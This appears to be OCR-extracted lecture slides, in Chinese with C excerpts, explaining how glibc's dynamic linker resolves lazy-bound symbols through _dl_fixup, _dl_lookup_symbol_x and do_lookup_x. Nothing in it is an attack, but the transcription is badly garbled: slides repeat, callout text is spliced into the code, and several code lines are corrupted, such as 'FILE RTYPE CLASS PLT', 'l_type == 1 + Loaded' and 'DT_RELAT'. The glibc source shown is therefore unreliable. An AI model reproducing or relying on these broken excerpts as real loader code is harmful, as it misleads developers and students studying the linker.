return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);
}
```

Relocation table 從 L_info 拿，
第幾個 Rela 從參數取得

\$ DL Ing

_dl_fixup

► 根據 link_map->l_info 找出 symbol 的：

⦿ Symbol entry

⦿ String entry

⦿ Relocation entry

⦿ Relocation address

► 解析 symbol

► 填到 GOT 當中

```
$ | DL_FIXUP_VALUE_TYPE
$ | _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
$ | {
$ |     const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
$ |     const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
$ |     const uintptr_t pltgot = (uintptr_t)D_PTR(l, l_info[DT_PLTGOT]);
$ |     const PLTREL *const reloc = (const void *)D_PTR(l, l_info[DT_JMPREL]) +
$ |                                     reloc_offset(pltgot, reloc_arg));
$ |     const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
$ |     const ElfW(Sym) *refsym = sym;
$ |     void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
$ |     lookup_t result;
$ |     DL_FIXUP(result, reloc_arg);
$ |     if (_dl_fixup_value_type == DL_FIXUP_SYMBOL)
$ |     {
$ |         if (l->l_info[DT_REL])
$ |         {
$ |             const ElfW(Half) *vernum =
$ |                 (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
$ |             ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
$ |             version = &l->l_versions[ndx];
$ |             if (version->hash == 0)
$ |                 version = NULL;
$ |             result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
$ |                                           version, ELF_RTYPE_CLASS_PLT, flags, NULL);
$ |             value = DL_FIXUP_MAKE_VALUE(result,
$ |                                         SYMBOL_ADDRESS(result, sym, false));
$ |         }
$ |         else
$ |         {
$ |             value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));
$ |             result = l;
$ |         }
$ |         value = elf_machine_plt_value(l, reloc, value);
$ |         return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);
$ }
```

Relocation base address 從 link_map 的
l_addr 拿，offset 從 Rela entry 拿

\$ DL Ing

_dl_fixup

► 根據 link_map->l_info 找出 symbol 的：

⦿ Symbol entry

⦿ String entry

⦿ Relocation entry

⦿ Relocation address

► 解析 symbol

► 填到 GOT 當中

```
$ DL_FIXUP_VALUE_TYPE
$ _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
    const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
    const uintptr_t pltgot = (uintptr_t)D_PTR(l, l_info[DT_PLTGOT]);
    const PLTREL *const reloc = (const void *)D_PTR(l, l_info[DT_JMPREL]) +
        reloc_offset(pltgot, reloc_arg);
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
    const ElfW(Sym) *refsym = sym;
    void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
    lookup_t result;
    DL_FIXUP_VALUE_TYPE value;

    if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
    {
        const struct r_found_version *version = NULL;
        if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
        {
            cc
            E
            v
            i:
            -----
            result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
                version, ELF_RTYPE_CLASS_PLT, flags, NULL);
            value = DL_FIXUP_MAKE_VALUE(result,
                SYMBOL_ADDRESS(result, sym, false));
        }
        else
        {
            value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));
            result = l;
        }
        value = elf_machine_plt_value(l, reloc, value);
        return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);
    }
}
```

解析 symbol 最後是看 **symbol string** 為何

\$ DL Ing

_dl_fixup

► 根據 link_map->l_info 找出 symbol 的：

⦿ Symbol entry

⦿ String entry

⦿ Relocation entry

⦿ Relocation address

► 解析 symbol

► 填到 GOT 當中

```
u1f383@u1f383:~$ DL_FIXUP_VALUE_TYPE
$ _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
    const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
    const uintptr_t pltgot = (uintptr_t)D_PTR(l, l_info[DT_PLTGOT]);
    const PLTREL *const reloc = (const void *)D_PTR(l, l_info[DT_JMPREL]) +
        reloc_offset(pltgot, reloc_arg);
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
    const ElfW(Sym) *refsym = sym;
    void *const rel_addr = (void *) (l->l_addr + reloc->r_offset);
    lookup_t result;
    DL_FIXUP_VALUE_TYPE value;

    if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
    {
        const struct r_found_version *version = NULL;
        if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
        {
            const ElfW(Half) *vernum =
                (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
            ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
            version = &l->l_versions[ndx];
            if (version->hash == 0)
                version = NULL;
        }
        result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
            version, FILE RTYPE CLASS PLT flags, NULL);
    }
    else
    {
        value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));
        result = l;
    }
    value = elf_machine_plt_value(l, reloc, value);
    return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);
}
```

已經找到 symbol，直接取出對應的位址

value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS(l, sym, true));
result = l;

\$ DL Ing

_dl_fixup

► 根據 link_map->l_info 找出 symbol 的：

⦿ Symbol entry

⦿ String entry

⦿ Relocation entry

⦿ Relocation address

► 解析 symbol


► 填到 GOT 當中

```
$ DL_FIXUP_VALUE_TYPE
$ _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);
    const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);
    const uintptr_t pltgot = (uintptr_t)D_PTR(l, l_info[DT_PLTGOT]);
    const PLTREL *const reloc = (const void *)D_PTR(l, l_info[DT_JMPREL]) +
        reloc_offset(pltgot, reloc_arg);
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];
    const ElfW(Sym) *refsym = sym;
    void *const rel_addr = (void *) (l->l_addr + reloc->r_offset);
    lookup_t result;
    DL_FIXUP_VALUE_TYPE value;

    if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)
    {
        const struct r_found_version *version = NULL;
        if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
        {
            const ElfW(Half) *vernum =
                (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
            ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
            version = &l->l_versions[ndx];
            if (version->hash == 0)
                version = NULL;
        }
        result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
                                     version, ELF_RTYPE_CLASS_PLT, flags, NULL);
        value = DL_FIXUP_MAKE_VALUE(result,
                                    SYMBOL_ADDRESS(result, sym, false));
    }
    else
    {
        value = elf_machine_plt_value(l, reloc, value);
    }
    return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);
}
```

一般情況下會將解析到的 function
address 寫到對應的 GOT 當中


\$ DL Ing



\$ DL Ing

_dl_lookup_symbol_x part1

- ▶ 替 symbol 產生對應 hash value
- ▶ 透過 do_lookup_x 找 symbol 對應的 link_map 以及 symbol table entry
- ▶ 沒找到就回傳 NULL



```
lookup_t
_dl_lookup_symbol_x(const char *undef_name,
                     struct link_map *undef_map,
                     const ElfW(Sym) **ref,
                     struct r_scope_elem *symbol_scope[],
                     const struct r_found_version *version,
                     int type_class, int flags, struct link_map *skip_map)
{
    const uint_fast32_t new_hash = dl_new_hash(undef_name);
    unsigned long int old_hash = 0xffffffff;
    struct sym_val current_value = {NULL, NULL};
    struct r_scope_elem **scope = symbol_scope;


    for (size_t start = i; *scope != NULL; start = 0, ++scope)
        if (do_lookup_x(undef_name, new_hash, &old_hash, *ref,
                        &current_value /* 回傳的結果 */,
                        *scope, start, version, flags,
                        skip_map, type_class, undef_map) != 0)
            break;

    if (__glibc_unlikely(current_value.s == NULL))
    {
        *ref = NULL;
        return 0;
    }
    ...
}
```

\$ DL Ing

_dl_lookup_symbol_x part1

- ▶ 替 symbol 產生對應 hash value
- ▶ 透過 do_lookup_x 找 symbol 對應的 link_map 以及 symbol table entry
- ▶ 沒找到就回傳 NULL



```
lookup_t
_dl_lookup_symbol_x(const char *undef_name,
                     struct link_map *undef_map,
                     const ElfW(Sym) **ref,
                     struct r_scope_elem *symbol_scope[],
                     const struct r_found_version *version,
                     int type_class, int flags, struct link_map *skip_map)
{
    const uint_fast32_t new_hash = dl_new_hash(undef_name);
    unsigned long int old_hash = 0xffffffff;
    struct sym_val current_value = {NULL, NULL};
    struct r_scope_elem **scope = symbol_scope;

    for (size_t start = i; *scope != NULL; start = 0, ++scope)
        if (do_lookup_x(undef_name, new_hash, &old_hash, *ref,
                        &current_value /* 回傳的結果 */,
                        *scope, start, version, flags,
                        skip_map, type_class, undef_map) != 0)
            break;

    if (__glibc_unlikely(current_value.s == NULL))
    {
        *ref = NULL;
        return 0;
    }
    ...
}
```

\$ DL Ing

_dl_lookup_symbol_x part1

- ▶ 替 symbol 產生對應 hash value
- ▶ 透過 do_lookup_x 找 symbol 對應的 link_map 以及 symbol table entry
- ▶ 沒找到就回傳 NULL

```
$ lookup_t  
_dl_lookup_symbol_x(const char *undef_name,  
                     struct link_map *undef_map,  
                     const ElfW(Sym) **ref,  
                     struct r_scope_elem *symbol_scope[],  
                     const struct r_found_version *version,  
                     int type_class, int flags, struct link_map *skip_map)  
{  
    const uint_fast32_t new_hash = dl_new_hash(undef_name);  
    unsigned long int old_hash = 0xffffffff;  
    struct sym_val current_value = {NULL, NULL};  
    struct r_scope_elem **scope = symbol_scope;  
  
    for (size_t start = i; *scope != NULL; start = 0, ++scope)  
        if (do_lookup_x(undef_name, new_hash, &old_hash, *ref,  
                        &current_value /* 回傳的結果 */,  
                        *scope, start, version, flags,  
                        skip_map, type_class, undef_map) != 0)  
            break;  
  
    if (__glib  
    {  
        *ref =  
        return  
    }  
    ...  
}
```

current_value.m 存 map ;
current_value.s 存 symbol

\$ DL Ing

_dl_lookup_symbol_x part1

- ▶ 替 symbol 產生對應 hash value
- ▶ 透過 do_lookup_x 找 symbol 對應的 link_map 以及 symbol table entry
- ▶ 沒找到就回傳 NULL

```
$ lookup_t  
_dl_lookup_symbol_x(const char *undef_name,  
                     struct link_map *undef_map,  
                     const ElfW(Sym) **ref,  
                     struct r_scope_elem *symbol_scope[],  
                     const struct r_found_version *version,  
                     int type_class, int flags, struct link_map *skip_map)  
{  
    const uint_fast32_t new_hash = dl_new_hash(undef_name);  
    unsigned long int old_hash = 0xffffffff;  
    struct sym_val current_value = {NULL, NULL};  
    struct r_scope_elem **scope = symbol_scope;  
  
    for (size_t start = i; *scope != NULL; start = 0, ++scope)  
        if (do_lookup_x(undef_name, new_hash, &old_hash, *ref,  
                        &current_value /* 回傳的結果 */,  
                        *scope, start, version, flags,  
                        skip_map, type_class, undef_map) != 0)  
            break;  
  
    if (__glibc_unlikely(current_value.s == NULL))  
    {  
        *ref = NULL;  
        return 0;  
    }  
    ...
```

ref 為 symbol entry reference，而
function 本身回傳的是 link_map

\$ DL Ing

_dl_lookup_symbol_x part2

- ▶ 處理 symbol 的 visibility 為 protected 的情況
- ▶ 新增 object 的 dependency，且如果 reference 到剛剛才被 remove 掉的 object 就重來一次
- ▶ Mark link_map 為使用中並回傳




```
u1f383@u1f383:/ ...  
$ int protected = (*ref && ELFW(ST_VISIBILITY)((*ref)->st_other) == STV_PROTECTED);  
if (__glibc_unlikely(protected != 0))  
{  
    if (type_class == ELF_RTYPE_CLASS_PLT)  
    {  
        if (current_value.s != NULL && current_value.m != undef_map)  
        {  
            current_value.s = *ref;  
            current_value.m = undef_map;  
        }  
    }  
    else { ... /* 以不同的 type_class 重新再找一次 */ }  
}  
  
if (__glibc_unlikely(current_value.m->l_type == lt_loaded)  
&& (flags & DL_LOOKUP_ADD_DEPENDENCY) != 0  
&& add_dependency(undef_map, current_value.m, flags) < 0)  
return _dl_lookup_symbol_x(undef_name, undef_map, ref,  
                           (flags & DL_LOOKUP_GSCOPE_LOCK)  
                           ? undef_map->l_scope  
                           : symbol_scope,  
                           version, type_class, flags, skip_map);  
  
if (__glibc_unlikely(current_value.m->l_used == 0))  
    current_value.m->l_used = 1;  
  
*ref = current_value.s;  
return current_value.m;  
}
```

\$ DL Ing

_dl_lookup_symbol_x part2

- ▶ 處理 symbol 的 visibility 為 protected 的情況
- ▶ 新增 object 的 dependency，且如果 reference 到剛剛才被 remove 掉的 object 就重來一次
- ▶ Mark link_map 為使用中並回傳



```
u1f383@u1f383:/
```

```
int protected = (*ref && ELFW(ST_VISIBILITY)((*ref)->st_other) == STV_PROTECTED);
if (__glibc_unlikely(protected != 0))
{
    if (type_class == ELF_RTYPE_CLASS_PLT)
    {
        if (current_value.s != NULL && current_value.m != undef_map)
        {
            current_value.s = *ref;
            current_value.m = undef_map;
        }
    }
    else { ... /* 以不同的 type_class 重新再找一次 */ }
}

if (!__glibc_unlikely(current_value.m->l_type == 1 + Loaded))
```

如果 visibility 為 **protected**，代表 symbol reference 會被 bind 到 **local symbol**，因此如果解析到外部 object 的 function，將回傳結果設為 **local link_map** 以及 symbol

```
if (__glibc_unlikely(current_value.m->l_used == 0))
    current_value.m->l_used = 1;

*ref = current_value.s;
return current_value.m;
```

\$ DL Ing

_dl_lookup_symbol_x part2

- ▶ 處理 symbol 的 visibility 為 protected 的情況
- ▶ 新增 object 的 dependency，且如果 reference 到剛剛才被 remove 掉的 object 就重來一次
- ▶ Mark link_map 為使用中並回傳

```
u1f383@u1f383:/
```

```
$ ...  
int protected = (*ref && ELFW(ST_VISIBILITY)((*ref)->st_other) == STV_PROTECTED);  
if (__glibc_unlikely(protected != 0))  
{  
    if (type_class == ELF_RTYPE_CLASS_PLT)  
    {  
        if (current_value.s != NULL && current_value.m != undef_map)  
        {  
            current_value.s = *ref;  
            current_value.m = undef_map;  
        }  
    }  
    else { ... /* 以不同的 type_class 重新再找一次 */ }  
}  
  
if (__glibc_unlikely(current_value.m->l_type == lt_loaded)  
&& (flags & DL_LOOKUP_ADD_DEPENDENCY) != 0  
&& add_dependency(undef_map, current_value.m, flags) < 0)  
return _dl_lookup_symbol_x(undef_name, undef_map, ref,  
                           (flags & DL_LOOKUP_GSCOPE_LOCK)  
                           ? undef_map->l_scope  
                           : symbol_scope,  
                           version, type_class, flags, skip_map);  
  
if (__glibc_...  
current_...  
*ref = current_value.s;  
return current_value.m;
```

剛要調整 dependency 時 object 就已經
被釋放，只能重新搜尋一次


\$ DL Ing

_dl_lookup_symbol_x part2

- ▶ 處理 symbol 的 visibility 為 protected 的情況
- ▶ 新增 object 的 dependency，且如果 reference 到剛剛才被 remove 掉的 object 就重來一次
- ▶ Mark link_map 為使用中並回傳

```
...  
int protected = (*ref && ELFW(ST_VISIBILITY)((*ref)->st_other) == STV_PROTECTED);  
if (__glibc_unlikely(protected != 0))  
{  
    if (type_class == ELF_RTYPE_CLASS_PLT)  
    {  
        if (current_value.s != NULL && current_value.m != undef_map)  
        {  
            current_value.s = *ref;  
            current_value.m = undef_map;  
        }  
    }  
    else { ... /* 以不同的 type_class 重新再找一次 */ }  
}  
  
if (__glibc_unlikely(link_map->l_scope == lt_loaded)  
&& ref->r_scope == lt_scope  
&& ref->r_scope->l_scope->version < 0)  
    return current_value.m;  
  
Mark link_map 正在使用，  
並回傳搜尋結果  
  
if (__glibc_unlikely(current_value.m->l_used == 0))  
    current_value.m->l_used = 1;  
  
*ref = current_value.s;  
return current_value.m;
```


\$ DL Ing



\$ DL Ing

do_lookup_x part1

- ▶ link_map 的狀態不合預期就 pass
 - ⦿ Caller 指定要 pass
 - ⦿ Binary 要解析外部 symbol，但是現在的 link_map 就是自己
 - ⦿ link_map 已經被移除
 - ⦿ Hash table 沒有 entry，代表沒有 symbol
- ▶ 將 section info 從 link_map 取出，存到 local variable




```
$ static int
__attribute_noinline__
do_lookup_x(const char *undef_name, uint_fast32_t new_hash,
            unsigned long int *old_hash, const ElfW(Sym) * ref,
            struct sym_val *result, struct r_scope_elem *scope, size_t i,
            const struct r_found_version *const version, int flags,
            struct link_map *skip, int type_class, struct link_map *undef_map)
{
    size_t n = scope->r_nlist;
    __asm volatile(
        : "+r"(n), "+m"(scope->r_list));
    struct link_map **list = scope->r_list;
    do
    {
        const struct link_map *map = list[i]->l_real;
        if (map == skip)
            continue;
        if ((type_class & ELF_RTYPE_CLASS_COPY) && map->l_type == lt_executable)
            continue;
        if (map->l_removed)
            continue;
        if (map->l_nbuckets == 0)
            continue;

        Elf_Symndx symidx;
        int num_versions = 0;
        const ElfW(Sym) *versioned_sym = NULL;
        const ElfW(Sym) *symtab = (const void *)D_PTR(map, l_info[DT_SYMTAB]);
        const char *strtab = (const void *)D_PTR(map, l_info[DT_STRTAB]);
        const ElfW(Sym) * sym;
        const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
        ...
    }
}
```

\$ DL Ing

do_lookup_x part1

- ▶ link_map 的狀態不合預期就 pass
 - ⦿ Caller 指定要 pass
 - ⦿ Binary 要解析外部 symbol，但是現在的 link_map 就是自己
 - ⦿ link_map 已經被移除
 - ⦿ Hash table 沒有 entry，代表沒有 symbol
- ▶ 將 section info 從 link_map 取出，存到 local variable




```
$ static int
__attribute_noinline__
do_lookup_x(const char *undef_name, uint_fast32_t new_hash,
            unsigned long int *old_hash, const ElfW(Sym) *ref,
            struct sym_val *result, struct r_scope_elem *scope, size_t i,
            const struct r_found_version *const version, int flags,
            struct link_map *skip, int type_class, struct link_map *undef_map)
{
    size_t n = scope->r_nlist;
    __asm volatile(
        : "+r"(n), "+m"(scope->r_list));
    struct link_map **list = scope->r_list;
    do
    {
        const struct link_map *map = list[i]->l_real;
        if (map == skip)
            continue;
        if ((type_class & ELF_RTYPE_CLASS_COPY) && map->l_type == lt_executable)
            continue;
        if (map->l_removed)
            continue;
        if (map->l_nbuckets == 0)
            continue;

        Elf_Symndx symidx;
        int num_versions = 0;
        const ElfW(Sym) *versioned_sym = NULL;
        const ElfW(Sym) *symtab = (const void *)D_PTR(map, l_info[DT_SYMTAB]);
        const char *strtab = (const void *)D_PTR(map, l_info[DT_STRTAB]);
        const ElfW(Sym) *sym;
        const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
        ...
    }
}
```

\$ DL Ing

do_lookup_x part1

- ▶ link_map 的狀態不合預期就 pass
 - ⦿ Caller 指定要 pass
 - ⦿ Binary 要解析外部 symbol，但是現在的 link_map 就是自己
 - ⦿ link_map 已經被移除
 - ⦿ Hash table 沒有 entry，代表沒有 symbol
- ▶ 將 section info 從 link_map 取出，存到 local variable



```
u1f383@u1f383:/
```

```
$ static int
__attribute_noinline__
do_lookup_x(const char *undef_name, uint_fast32_t new_hash,
            unsigned long int *old_hash, const ElfW(Sym) * ref,
            struct sym_val *result, struct r_scope_elem *scope, size_t i,
            const struct r_found_version *const version, int flags,
            struct link_map *skip, int type_class, struct link_map *undef_map)
{
    size_t n = scope->r_nlist;
    __asm volatile(
        : "+r"(n), "+m"(scope->r_list));
    struct link_map **list = scope->r_list;
    do
    {
        const struct link_map *map = list[i]->l_real;
        if (map == skip)
            continue;
        if ((type_class & ELF_RTYPE_CLASS_COPY) && map->l_type == lt_executable)
            continue;
        if (map->l_removed)
            continue;
        if (map->l_nbuckets == 0)
            continue;

        Elf_Symndx symidx;
        int num_versions = 0;
        const ElfW(Sym) *versioned_sym = NULL;
        const ElfW(Sym) *symtab = (const void *)D_PTR(map, l_info[DT_SYMTAB]);
        const char *strtab = (const void *)D_PTR(map, l_info[DT_STRTAB]);
        const ElfW(Sym) * sym;
        const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
        ...
```

\$ DL Ing

do_lookup_x part2

- ▶ 若對應的 hash table entry 為空，代表此 hash value 沒有對應到的 symbol
- ▶ 從 hash table 中找指定名稱的 symbol

```
u1f383@u1f383:/
```

```
$ if (__glibc_likely(bitmask != NULL))
{
    if (... /* hash check */)
        Elf32_Word bucket = map->l_gnu_buckets[new_hash % map->l_nbuckets];
    if (bucket != 0)
    {
        const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];
        do
            if (((*hasharr ^ new_hash) >> 1) == 0)
            {
                symidx = ELF_MACHINE_HASH_SYMIDX(map, hasharr);
                sym = check_match(undefined_name, ref, version, flags,
                                  type_class, &symtab[symidx], symidx,
                                  strtab, map, &versioned_sym,
                                  &num_versions);
                if (sym != NULL) // 找到 symbol
                    goto found_it;
            }
        while ((*hasharr++ & 1u) == 0);
    }
    symidx = SHN_UNDEF;
}
else
{
    if (*old_hash == 0xffffffff)
        *old_hash = _dl_elf_hash(undefined_name);

    for (symidx = map->l_buckets[*old_hash % map->l_nbuckets];
         symidx != STN_UNDEF;
         symidx = map->l_chain[symidx])
    {
        sym = check_match(undefined_name, ref, version, flags,
                          type_class, &symtab[symidx], symidx,
                          strtab, map, &versioned_sym,
                          &num_versions);
        if (sym != NULL) // matching
            goto found_it;
    }
}
```

\$ DL Ing

do_lookup_x part2

- ▶ 若對應的 hash table entry 為空，代表此 hash value 沒有對應到的 symbol
- ▶ 從 hash table 中找指定名稱的 symbol



```
u1f383@u1f383:/
```

```
$ if (__glibc_likely(bitmask != NULL))
{
    if (... /* hash check */)
    {
        Elf32_Word bucket = map->l_gnu_buckets[new_hash % map->l_nbuckets];
        if (bucket != 0)
        {
            const Elf32_Word *nasharr = &map->l_gnu_chain_zero[bucket];
            ...
        }
    }
    symidx = SHN_UNDEF;
}
else
{
    if (*old_hash == 0xffffffff)
        *old_hash = _dl_elf_hash(undefined_name);

    for (symidx = map->l_buckets[*old_hash % map->l_nbuckets];
         symidx != STN_UNDEF;
         symidx = map->l_chain[symidx])
    {
        sym = check_match(undefined_name, ref, version, flags,
                          type_class, &symtab[symidx], symidx,
                          strtab, map, &versioned_sym,
                          &num_versions);
        if (sym != NULL) // matching
            goto found_it;
    }
}
```

Binary 使用比較新的 hash table，直接檢查對應的 bucket 是否為空即可

\$ DL Ing

do_lookup_x part2

- ▶ 若對應的 hash table entry 為空，代表此 hash value 沒有對應到的 symbol
- ▶ 從 hash table 中找指定名稱的 symbol

```
u1f383@u1f383:/
```

```
$ if (__glibc_likely(bitmask != NULL))
{
    if (... /* hash check */)
        Elf32_Word bucket = map->l_gnu_buckets[new_hash % map->l_nbuckets];
    if (bucket != 0)
    {
        const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];
        do
            if (((*hasharr ^ new_hash) >> 1) == 0)
            {
                symidx = ELF_MACHINE_HASH_SYMIDX(map, hasharr);
                sym = check_match(undefined_name, ref, version, flags,
                                  type_class, &symtab[symidx], symidx,
                                  strtab, map, &versioned_sym,
                                  &num_versions);
                if (sym != NULL) // 找到 symbol
                    goto found_it;
            }
        while ((*hasharr++ & 1u) == 0);
    }
    symidx = SHN_UNDEF;
}
else
{
    if (*old_hash == 0xffffffff)
        *old_hash = _dl_elf_hash(undefined_name);

    for (symidx = map->l_buckets[*old_hash % map->l_nbuckets];
         symidx != STN_UNDEF;
         symidx = map->l_chain[symidx])
}
}
```

最後一個 chain entry 的 symidx 會是 magic number，可以用來確定此 bucket chain 是否為空

\$ DL Ing

do_lookup_x part2

- ▶ 若對應的 hash table entry 為空，代表此 hash value 沒有對應到的 symbol
- ▶ 從 hash table 中找指定名稱的 symbol

```
u1f383@u1f383:/
```

```
if (__glibc_likely(bitmask != NULL))
{
    if (... /* hash check */)
        Elf32_Word bucket = map->l_gnu_buckets[new_hash % map->l_nbuckets];
    if (bucket != 0)
    {
        const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];
        do
            if (((*hasharr ^ new_hash) >> 1) == 0)
            {
                symidx = ELF_MACHINE_HASH_SYMIDX(map, hasharr);
                sym = check_match(undefined_name, ref, version, flags,
                                  type_class, &symtab[symidx], symidx,
                                  strtab, map, &versioned_sym,
                                  &num_versions);
                if (sym != NULL) // 找到 symbol
                    goto found_it;
            }
        while ((*hasharr++ & 1u) == 0);
    }
    symidx = SHN_UNDEF;
}
else
{
    if (symidx != STN_UNDEF)
        symidx = map->l_chain[symidx]);
    sym = check_match(undefined_name, ref, version, flags,
                      type_class, &symtab[symidx], symidx,
                      strtab, map, &versioned_sym,
                      &num_versions);
    if (sym != NULL) // matching
        goto found_it;
}
```

不同的 symbol 可能會有相同 hash value，因此一一檢查即可

\$ DL Ing

do_lookup_x part3

- ▶ 在特定情況下需要跳過 reloc type 為 COPY 的 symbol
- ▶ 跳過 hidden / internal 的 symbol

```
u1f383@u1f383:/
```

```
$ |
```

```
sym = num_versions == 1 ? versioned_sym : NULL;
if (sym != NULL)
{
    found_it:
    if (...)

    {
        const ElfW(Sym) * s;
        unsigned int i;
        if (map->l_info[DT_RELAT] != NULL && map->l_info[DT_RELASZ] != NULL &&
            map->l_info[DT_RELASZ]->d_un.d_val != 0)
        {
            const ElfW(Rela) *rela = (const ElfW(Rela) *)D_PTR(map, l_info[DT_RELAT]);
            unsigned int rela_count = map->l_info[DT_RELASZ]->d_un.d_val / sizeof(*rela);

            for (i = 0; i < rela_count; i++, rela++)
                if (elf_machine_type_class(ELFW(R_TYPE)(rela->r_info)) == ELF_RTYPE_CLASS_COPY)
                {
                    s = &symtab[ELFW(R_SYM)(rela->r_info)];
                    if (!strcmp(strtab + s->st_name, undef_name))
                        goto skip;
                }
        }

        if (__glibc_unlikely(dl_symbol_visibility_binds_local_p(sym)))
            goto skip;
    }
}
```

\$ DL Ing

do_lookup_x part3

- 在特定情況下需要跳過 reloc type 為 COPY 的 symbol
 - 跳過 hidden / internal 的 symbol

```
u1f383@u1f383:/
```

```
$
```

```
sym = num_versions == 1 ? versioned_sym : NULL;
if (sym != NULL)
{
found_it:
if ( )
{
    COPY type 的 relocation 會先在 local 建立同樣大小的記憶體區
    塊，之後解析時會把外部資料直接複製過來使用
}
    const ElfW(Rela) *rela = (const ElfW(Rela) *)D_PTR(map, l_info[DT_REL]);
    unsigned int rela_count = map->l_info[DT_RELASZ]->d_un.d_val / sizeof(*rela);

    for (i = 0; i < rela_count; i++, rela++)
        if (elf_machine_type_class(ELFW(R_TYPE)(rela->r_info)) == ELF_RTYPE_CLASS_COPY)
        {
            s = &syms[ELFW(R_SYM)(rela->r_info)];
            if (!strcmp(strtab + s->st_name, undef_name))
                goto skip;
        }
    }
}

if 滿足：
1. 當 _dl_lookup_symbol_x 要找 protected data 時
2. 當前找到的 symbol 存在於 executable
3. Extern protected 的功能是有被打開的
    會略過相同名稱的 COPY type symbol
```

\$ DL Ing

do_lookup_x part3

- ▶ 在特定情況下需要跳過 reloc type 為 COPY 的 symbol
- ▶ 跳過 hidden / internal 的 symbol

```
u1f383@u1f383:/
```

```
$
sym = num_versions == 1 ? versioned_sym : NULL;
if (sym != NULL)
{
    found_it:
    if (...)

    {
        const ElfW(Sym) * s;
        unsigned int i;
        if (map->l_info[DT_RELASZ] != NULL && map->l_info[DT_RELASZ] != NULL &&
            map->l_info[DT_RELASZ]->d_un.d_val != 0)
        {
            const ElfW(Rela) *rela = (const ElfW(Rela) *)D_PTR(map, l_info[DT_RELASZ]);
            unsigned int rela_count = map->l_info[DT_RELASZ]->d_un.d_val / sizeof(*rela);

            for (i = 0; i < rela_count; i++, rela++)
                if (elf_machine_type_class(ELFW(R_TYPE)(rela->r_info)) == ELF_RTYPE_CLASS_COPY)
                {
                    s = &symtab[ELFW(R_SYM)(rela->r_info)];
                    if (!strcmp(strtab + s->st_name, undef_name))
                        goto skip;
                }
        }
    }

    if (__glibc_unlikely(dl_symbol_visibility_binds_local_p(sym)))
        goto skip;
}
```

Hidden / internal symbol 只在 local 使用而已

\$ DL Ing

do_lookup_x part4

- ▶ 共有三種 reloc type 的 symbol :
- ⌚ Weak
- ⌚ Global
- ⌚ Unique
- ▶ 此 link_map 沒有，找下一個 object

```
switch (ELFW(ST_BIND)(sym->st_info))
{
case STB_WEAK:
    if (__glibc_unlikely(GLRO(dl_dynamic_weak)))
    {
        if (!result->s)
            result->s = sym;
        result->m = (struct link_map *)map;
    }
    break;
}
case STB_GLOBAL:
    result->s = sym;
    result->m = (struct link_map *)map;
    return 1;
case STB_GNU_UNIQUE:;
    do_lookup_unique(undefined_name, new_hash, (struct link_map *)map,
                     result, type_class, sym, strtab, ref,
                     undefined_map, flags);
    return 1;
default:
    break;
}

skip:;
} while (++i < n);
return 0;
}
```

\$ DL Ing

do_lookup_x part4

- ▶ 共有三種 reloc type 的 symbol：
 - ⦿ Weak
 - ⦿ Global
 - ⦿ Unique
- ▶ 此 link_map 沒有，找下一個 object



```
switch (ELFW(ST_BIND)(sym->st_info))
{
    case STB_WEAK:
        if (__glibc_unlikely(GLRO(dl_dynamic_weak)))
        {
            if (!result->s)
            {
                result->s = sym;
                result->m = (struct link_map *)map;
            }
            break;
        }
    case STB_GLOBAL:
        do_lookup_global(sym, map, result, type_class, ref,
